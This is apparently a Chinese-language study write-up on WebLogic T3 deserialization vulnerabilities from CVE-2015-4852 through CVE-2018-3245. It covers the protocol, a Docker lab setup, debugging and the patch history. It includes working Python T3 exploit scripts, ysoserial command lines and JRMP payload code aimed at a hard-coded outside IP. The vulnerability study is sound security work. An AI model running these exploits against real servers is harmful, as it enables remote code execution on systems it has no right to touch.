参考:
Weblogic全漏洞学习 - Boogiepop Doesn’t Laugh (boogipop.com)
Weblogic学习:T3反序列化 - sp4z’s Blog (sp4zcmd.github.io)
https://y4er.com/posts/weblogic-jrmp/
从头到尾调试了很多遍,踩了一些坑,总算理解了
T3协议学习
T3协议是WebLogic专有的协议,类似于RMI协议,用于传输数据,会对对象进行序列化和反序列化
T3协议包内容,取自于@sp4z师傅

第二到第七部分内容,开头都是ac ed 00 05,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式
- 将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
使用脚本进行攻击
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget, cmd):
YSO_PATH = "ysoserial.jar"
popen = subprocess.Popen(['D:\jdk\jdk1.8.0_202\\bin\java.exe', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: " + "".join(match))
else:
print("Not Weblogic")
# return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(
b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header + desflag + payload
payload = struct.pack(">I", len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections6"
cmd = "touch /tmp/success"
payload = generatePayload(gadget, cmd)
T3Exploit(ip, port, payload)

抓一下攻击流量

反序列化标志,以及前面的t3协议头
环境搭建
github项目:
QAX-A-Team/WeblogicEnvironment: Weblogic环境搭建工具 (github.com)
weblogic和jdk下载,JDK8随便选个版本,jdk7也能跑,可以去配合jdk7u21的链子玩
Java Archive Downloads - Java SE 8 (oracle.com)
Free Oracle WebLogic Server 12c (12.2.1) Installers for Development
在dockerfile的RUN yum -y install libnsl前添加,他没配yum源
RUN cd /etc/yum.repos.d/
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
在项目中创建jdks和weblogics,把下载好的jdk压缩包和weblogic jar放进去
build一下,然后启动
docker build --build-arg JDK_PKG=jdk-8u202-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk8u202 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk8u202 weblogic1036jdk8u202
远程调试
导出源码和依赖
docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/coherence_3.7/lib ./lib
IDEA打开wlserver文件夹,导入module和lib,添加远程JVM调试即可
前置知识
在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法
个人说法:readObject中会对反序列化的类进行判断,如果符合IsExternalizable就会进入readExternalData,就会调用readExternal方法,是一种另类的序列化和反序列化
后续会继续调用readResolve方法
配上一张图
CVE-2015-4852
就是上面学习协议的脚本,在InboundMsgAbbrev#readObject中打上断点
进入(new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject()
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
private final ServerChannel serverChannel;
private ServerChannelInputStream(MsgAbbrevInputStream var1) throws IOException {
super(var1);
this.serverChannel = var1.getServerChannel();
}
public ServerChannel getServerChannel() {
return this.serverChannel;
}
protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException {
Class var2 = super.resolveClass(var1);
if (var2 == null) {
throw new ClassNotFoundException("super.resolveClass returns null.");
} else {
ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);
if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {
throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID());
} else {
return var2;
}
}
}
}
可以看见继承了ObjectInputStream,构造函数调用了父类的方法,并且实现了resolveClass
resolveClass中并未添加相关黑名单,只是对是否class是否为null和SerialVersionUID进行了检查,所以就可以打任意的反序列化链,而在weblogic中是自带cc3.2.0的,我们就可以打cc链
附上攻击调用图,从师傅博客里扒的,这里我就不多说了
漏洞修复
漏洞的修复就是在resolveclasss中添加了黑名单

CVE-2016-0638
对于上一个漏洞修复的bypass,最终找到了StreamMessageImpl#readExternal,符合IsExternalizable

并且其readExternal方法会对var5调用readObject,从而造成二次反序列化,想要使用还需要对StreamMessageImpl#writeExternal进行修改
参考项目:
5up3rc/weblogic_cmd: weblogic t3 deserialization rce (github.com)
public void writeExternal(ObjectOutput paramObjectOutput) throws IOException {
super.writeExternal(paramObjectOutput);
paramObjectOutput.writeByte(1); //var1.readByte()
paramObjectOutput.writeInt(getDataSize()); //createPayload中
paramObjectOutput.write(getDataBuffer()); //this.payload.getInputStream
}

附上攻击图
漏洞修复

也就是给StreamMessageImpl#readExternal重写了resolveclass,设置了黑名单
CVE-2016-3510
类似于上面那种,是一个新的类weblogic.corba.utils.MarshalledObject
其readResolve方法,赤裸裸的反序列化
构造也很简单,设置this.objBytes即可,这里直接把恶意类丢进构造函数就可以
漏洞修复
修复也是同样丢进了黑名单
CVE-2017-3248
此后便进入了JRMP攻击时代
从别人博客扒的图
payload,使其开启一个JRMPClient,并向指定地址发起请求,也可以用ysoserial直接生成
String host = "43.137.36.145";
Integer port = 8888;
ObjID id = new ObjID(1); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
String serialize = tools.serialize(remoteObjectInvocationHandler);
tools.serialize_file(remoteObjectInvocationHandler,"F:\\study\\weblogic\\weblogic_attack\\1.out");
java -jar ysoserial.jar JRMPClient ip port > 1.out
来个python攻击脚本,java写的T3协议又臭又长
import binascii
import os
import re
import socket
import struct # 负责大小端的转换
import subprocess
def T3Exploit(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: " + "".join(match))
else:
print("Not Weblogic")
# return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(
b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header + desflag + payload
payload = struct.pack(">I", len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
payload = open("1.out","rb").read()
ip = "127.0.0.1"
port = 7001
T3Exploit(ip, port, payload)
记得开JRMPListner
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections6 'calc'
实际上就是反序列化打的rmi的gadgets,在开启一个JRMPClient并向远程的JRMPLIstener发起请求,JRMPListener返回恶意的类,最终在本地进行二次反序列化
漏洞修复
把java.rmi.registry.Registry接口丢进了接口黑名单
实际上大部分查询到的文章payload如下,我在调试时也没发现进入了invoke,还是正常走的readObject的流程,很怪
String host = "43.137.36.145";
Integer port = 8888;
ObjID id = new ObjID(1); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(poc.class.getClassLoader(), new Class[] {
Registry.class
}, remoteObjectInvocationHandler);
CVE-2018-2628|2893|3245
学过RMI的实际上就能知道,除了RemoteObjectInvocationHandler还能使用UnicastRef、UnicastRemoteObject、ActivationGroupImpl、RMIConnectionImpl_Stub等
pyn3rd/CVE-2018-3245: CVE-2018-3245-PoC (github.com)
文章中给出了方法,其实最终都是在调用UnicastRef对JRMPListener发起请求
来到CVE2018-2893,UnicastRef被加入了黑名单
此时使用StreamMessageImpl对外层进行封装,因为StreamMessageImpl的反序列化检查并没有检查Registry接口,所以就可以去继续使用被修复的RemoteObjectInvocationHandler
在使用RemoteObjectInvocationHandler作为最外层时,UnicastRef并没有参与反序列化,只是作为一个类名进行调用,在writeObject中可看出

来到CVE2018-3245
把RemoteObjectInvocationHandler给过滤了,然后就有了代替品RMIConnectionImpl_Stub,实际上就是找RemoteObject可用的子类